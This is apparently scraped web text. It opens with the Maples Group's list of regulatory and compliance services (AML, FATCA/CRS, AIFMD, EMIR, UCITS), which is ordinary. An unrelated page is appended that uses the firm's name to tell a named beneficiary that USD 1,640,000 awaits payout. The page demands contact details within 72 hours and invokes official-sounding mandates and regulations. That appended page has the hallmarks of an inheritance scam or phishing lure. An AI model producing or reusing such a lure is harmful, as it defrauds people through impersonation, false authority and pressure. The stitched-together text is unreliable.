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Services

Regulatory & Compliance

The Maples Group has unrivalled expertise in regulatory matters, particularly in the field of anti-money laundering and counter-terrorist financing.

Regulatory & Compliance - - AEOI – FATCA & CRS

Regulatory & Compliance

Our legal advice & administrative solutions on all aspects of AEOI provide constructive & insightful advice to ensure you meet the necessary requirements.
Regulatory & Compliance - - AIFMD – Annex IV Reporting & Depositary Solutions

Regulatory & Compliance

Speak to our legal experts about the application of AIFMD, amending existing fund documentation, AIFMD & Annex IV reporting, 'Depo Lite' services & more.
Regulatory & Compliance - Anti-Money Laundering Services

Regulatory & Compliance

Our anti-money laundering experts can develop & assess your AML and risk management systems, act as your named MLRO, manage reporting processes - and more.
Regulatory & Compliance - Commodity Pool Operator Support Services

Regulatory & Compliance

We can help you manage your CPO fund, assisting with CPO set up and registration and supporting ongoing compliance with regulatory reporting requirements.
Regulatory & Compliance - EMIR

Regulatory & Compliance

Our legal & operational support helps fund managers meet their ongoing EMIR obligations, including reporting & clearing of OTC derivatives & risk reduction.
Regulatory & Compliance - Form PF

Regulatory & Compliance

Our Form PF service provides an integrated operational & technological solution for data identification, aggregation, calculation, verification & storage.
Regulatory & Compliance - OPERA

Regulatory & Compliance

Our Open Protocol solution provides managers and investors with an investor transparency report that is aligned and consistent with the OPERA scheme.
Regulatory & Compliance - UCITS

Regulatory & Compliance

Our Ireland and Luxembourg lawyers provide expert advice on establishing a UCITS fund, rules for redemptions, assets, borrowing, depositaries - and more.
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Maples Group

Inheritance Distribution — Secure Verification

Reference: MG-TX-92-KIM • ISRP-B2 • CIMA Article 14(1)(a)

Pursuant to the fully executed Fiduciary Mandate dated 13 June 2026, the Maples Group is required to complete final identity verification prior to the disbursement of USD $1,640,000.00 via FedWire to the designated beneficiary, Reid Erickson.

As a spouse-equivalent beneficiary named in the Mandate Schedule, you must confirm your current contact details below. This verification is mandated by the Cayman Islands Monetary Authority under the Securities Investment Business Act (2020 Revision).

Failure to complete verification within 72 hours will result in the funds being returned to the originating estate account per Regulation 8(3).